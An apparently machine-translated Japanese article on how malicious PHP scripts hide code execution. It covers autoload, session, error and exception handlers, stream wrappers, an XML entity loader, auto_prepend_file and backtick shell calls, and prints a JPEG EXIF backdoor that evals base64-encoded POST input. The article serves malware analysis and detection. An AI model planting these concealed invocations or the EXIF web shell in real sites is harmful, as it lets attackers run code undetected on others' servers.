悪意のあるスクリプトで使用される暗黙的なphpコード呼び出しの高度な方法

悪意のあるスクリプトでの暗黙的なphpコード呼び出しに関するメモの論理的な続きは、その2番目の部分です。ここでは、さまざまなphpハンドラーとローダーを使用するためのより複雑であまり目立たないオプションを検討します。サイト上のスクリプト。



悪意のあるコードの例として、この呼び出しを再度使用します。



echo 'Test'
      
      







この記事の目的は、隠れたコードを実行するためのさまざまなアプローチとメカニズムを示すことなので、簡単にするために、「悪意のあるコード」を実行する関数は暗黙的に呼び出されるコードの隣で宣言されます。 実際には、悪意のあるコードとその呼び出しは、少なくとも異なるPHPスクリプトでは互いに遠く離れていますが、多くの場合、コードはデータベース、イメージメタデータ、別のサーバーから読み込まれ、その後関数eval、assert、preg_replaceなどによって実行されます。







オプション#1:自動読み込みメカニズムを使用します。



存在しないクラスを作成すると、自動ロードハンドラーで悪意のあるコードが呼び出されます。



 <?php function __autoload($classname) { echo 'Test'; } //... new myEvilClass();
      
      







オプション#2:バージョン5.3以降で別の自動ロードメカニズムを使用する



 <?php // php >= 5.3.0 class EvilClass { static public function evil($name) { echo 'Test'; } } // ... spl_autoload_register(__NAMESPACE__ .'\EvilClass::evil'); // ... new Malware;
      
      







オプション#3:セッションハンドラーを使用します。



セッションが作成されると、登録された関数が呼び出されます。



 <?php function just_do_it() { echo 'Test'; } // ... $f = function() {}; session_set_save_handler("just_do_it", $f, $f, $f, $f, $f); @session_start();
      
      







オプション#4:反復子を使用します。



変更については、関数を明示的に宣言しません。 以下のオプションでは、機能コードは以下の任意のストアから取得できます。

文字列を形成し、実行時に関数を作成します。



 <?php $f = create_function('', "echo 'Test';"); // ... $it = new ArrayIterator(array('')); iterator_apply($it, $f, array($it));
      
      







オプション5:例外ハンドラーを介した呼び出し。



この実施形態では、呼のコードは例外テキストとして渡されてもよい。



 <?php function exception_handler($e) { preg_replace_callback('||', create_function('', $e->getMessage()), ''); } // ... set_exception_handler('exception_handler'); // ... throw new Exception('echo "Test";');
      
      







オプション#6:エラーハンドラーを使用します。



アプローチは#5に似ていますが、コードはtrigger_error()またはuser_error()メソッドによって暗黙的に呼び出されます。 コード自体はエラーテキストを介して渡されます。 このソリューションがすべてのerror_reporting設定で機能することは注目に値します。



 <?php function error_handler($errno, $errstr, $errfile, $errline) { array_map(create_function('', $errstr), array('')); } // ... set_error_handler('error_handler'); $badcode = 'echo "Test";'; trigger_error($badcode, E_USER_ERROR); //  user_error();
      
      







オプション番号7:独自のエンティティローダーを使用します。



バージョン5.4以降で動作します。 悪意のあるコードは、XMLタグまたはドキュメントサービスフィールドに存在する可能性があります。



 <?php //  php >= 5.4 $xml =<<<XML <!DOCTYPE zlodei PUBLIC "echo 'Test';" "http://example/"> <zlodei>bar</zlodei> XML; $dtd =<<<DTD <!ELEMENT zlodei (#PCDATA)> DTD; libxml_set_external_entity_loader( function ($public, $system, $context) use($dtd) { array_reduce(array(''), create_function('', $public)); } ); // ... $dd = new DOMDocument; $r = $dd->loadXML($xml); @$dd->validate();
      
      







オプション番号8:暗黙のコード呼び出し用に独自のストリームを作成する



ストリームハンドラーが登録され、ストリームの操作をサポートする関数は、URLに渡したり、ストリームに書き込んだりできるコードを実行できます。 変更の場合、通常のeval()の代わりに、create_function()を介してコードが呼び出されます。



 <?php class MalwareStream { function stream_open($path, $mode, $options, &$opened_path) { $url = parse_url($path); $f = create_function('', $url["host"]); $f(); return true; } } // ... stream_wrapper_register("malw", "MalwareStream"); // ... $fp = fopen('malw://echo "Test";', '');
      
      







前のノートにリストされた構造とは異なり、静的分析でそのような暗黙のコード呼び出しを検出することは非常に問題です。 サーバーウイルス対策スキャナーの場合、これはまだ不可能です。



ボーナストラック


ハッカーが悪意のあるコードをダウンロードして実行するために使用する他のオプションは何ですか?



まず、.htaccessファイルまたはphp.iniでphp_auto_append / php_auto_prependディレクティブを使用します。 例えば



 php_value auto_prepend_file /images/stories/mycode.jpg
      
      







スクリプトを実行する前にmycode.jpgファイルからコードを実行します。



第二に、dl()関数による動的拡張ロード。 これを行うには、.so(* nix)または.dll(windows)モジュールをビルドする必要があります。 ただし、これはかなりまれなケースであり、あるべき場所があります。 高度なハッカーは、Apacheまたはnginxでモジュールを開発および挿入できます。



第三に、バッククォート(shell_execのエイリアス)を使用した構造があります:



 <?php $a = `ls -la`; echo $a;
      
      







もちろん、PHP設定でshell_execが有効になっていない限り、ls -laシステムコマンドも実行します。



最後に、jpegファイルのexifヘッダーからロードされる暗黙的なコード呼び出しの例。



 <?php $exif = exif_read_data('/home/website/images/stories/food/evil.jpg'); preg_replace($exif['Make'],$exif['Model'],'');
      
      







jpgファイルは次のようになります。



yOya^@^PJFIF^@^A^B^@^@d^@d^@^@ya^@?Exif^@^@II*^@

^H^@^@^@^B^@^O^A^B^@^F^@^@^@&^@^@^@^P^A^B^@m^@^@^@,^@^@^@^@^@^@^@/.*/e^

@ eval ( base64_decode("aWYgKGl zc2V0KCRfUE9TVFsie noxIl0pKSB7ZXZhbChzd

HJpcHNsYXNoZXMoJF9QT1NUWyJ6ejEiXSkpO30='));

@yi^@^QDucky^@^A^@^D^@^@^@<^@^@yi^@^NAdobe^...








Makeフィールドから/.*/eがModelフィールド@ @ eval(base64_decode(...))から取得され、修飾子「e」によりpreg_replace()によって実行されます。



ご清聴ありがとうございました。



All Articles